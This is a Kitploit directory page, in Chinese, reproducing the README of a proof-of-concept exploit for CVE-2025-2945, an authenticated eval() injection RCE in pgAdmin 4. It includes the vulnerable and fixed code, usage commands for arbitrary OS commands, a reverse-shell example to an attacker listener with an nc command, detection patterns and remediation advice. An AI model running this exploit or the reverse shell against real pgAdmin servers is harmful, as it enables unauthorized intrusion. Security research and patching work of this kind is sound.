Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/khashayarnzk/cve-2025-2945-pgadmin-rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubkhashayarnzk/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgAdmin-RCE

# CVE-2025-2945 的 PoC — pgAdmin 4 已认证 eval() 注入 RCE,CVSS 9.9

查看仓库
1天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-2945 — pgAdmin 4 查询工具认证远程代码执行

CVSS 3.1:9.9(严重) · 影响范围: pgAdmin 4 8.10 – 9.1 · 修复版本: 9.2(2025年4月4日) CWE-95(动态求值代码中指令的不当中和 / 求值注入)

这是针对 CVE-2025-2945 的概念验证漏洞利用程序,该漏洞是 pgAdmin 4 查询工具中的一个认证远程代码执行漏洞。一个布尔事务状态标志(query_commited)被直接传入 Python 的 eval() 函数,而非被解析为布尔值,从而允许已认证用户以 pgAdmin 服务进程的权限执行任意 Python 代码——进而执行任意操作系统命令。同样的反模式在云部署模块的 Google 提供商(high_availability)中也出现了第二次。

涵盖根本原因、利用逻辑、检测指南和修复措施的完整技术文章可在此处获取: khashayarnazarkardeh.com — Field Notes


漏洞摘要

存在漏洞的代码(web/pgadmin/tools/sqleditor/__init__.py):

root@kitploit:~
if key == 'query_commited':
    query_commited = (
        eval(value) if isinstance(value, str) else value
    )

修复后的代码(pgAdmin 9.2+):

root@kitploit:~
query_commited = (
    value.lower() in ('true', '1') if isinstance(value, str) else value
)

该漏洞要求具备有效的 pgAdmin 认证会话,并且查询工具事务绑定到目标账户中已注册的数据库服务器。这两者在实际部署中都是常见的先决条件,因为 pgAdmin 通常预先配置了一个或多个已保存的服务器连接。

环境要求

  • Python 3.8+
  • 有效的 pgAdmin Web 账户(--username / --password)
  • 该 pgAdmin 账户中已注册的数据库服务器的凭据(--db-user / --db-password / --db-name)
  • 目标运行 pgAdmin 4 8.10 至 9.1(含)版本

安装

root@kitploit:~
git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt

使用方法

root@kitploit:~
python3 CVE-2025-2945.py \
    --host <目标> --port 80 \
    --username <pgadmin邮箱> --password <pgadmin密码> \
    --db-user <数据库用户> --db-password <数据库密码> --db-name <数据库名> \
    --cmd id

载荷模式(选择其一)

标志描述
--cmd COMMAND通过 os.system() 执行单个操作系统命令
--reverse-shell HOST:PORT向您控制的监听器生成命名管道反向 Shell
--raw-payload EXPR将原始 Python 表达式直接传递给存在漏洞的 eval() 汇点

示例 — 反向 Shell

root@kitploit:~
# 在您的攻击主机上,另开一个终端:
nc -lvnp 4444

# 运行漏洞利用程序:
python3 CVE-2025-2945.py \
    --host pgadmin.internal.example.com --port 80 \
    --username [email protected] --password 'correct-horse-battery-staple' \
    --db-user postgres --db-password postgres --db-name postgres \
    --reverse-shell 10.10.14.5:4444

完整选项

root@kitploit:~
python3 CVE-2025-2945.py --help

检测

防御者应监控以下内容:

  • 发送到 /sqleditor/query_tool/download/<trans_id> 或 /cloud/deploy 的 POST 请求,其中 query_commited / high_availability 的值不是字面量 "true"、"false"、"1" 或 "0"。
  • 任一参数中出现 Python 执行原语(__import__、os.system、subprocess、eval、exec、open()。
  • pgAdmin 服务账户产生的意外子进程,尤其是 Shell 解释器或网络工具。

修复措施

升级到 pgAdmin 4 9.2 或更高版本。该补丁是一个最小化、低风险的布尔强制转换修复。在无法立即打补丁的情况下,请限制 pgAdmin 的网络访问仅限于受信任的认证网络,并为不需要云部署模块的账户禁用该模块。

参考链接

  • NVD — CVE-2025-2945
  • GitHub 安全公告 — GHSA-g73c-fw68-pwx3
  • pgAdmin issue #8603
  • 修复提交 — 75be0bc

作者

Khashayar Nazarkardeh — 网络安全与 AI 安全负责人 khashayarnazarkardeh.com · @Khashayarnzk

免责声明

本工具仅供授权的安全测试、研究和教育目的使用。在未经系统所有者明确、书面授权的情况下对任何系统运行此工具,在大多数司法管辖区均属违法行为。作者不对本软件的滥用承担任何责任。使用本脚本即表示您同意自行负责确保您已获得测试目标的许可。

下载工具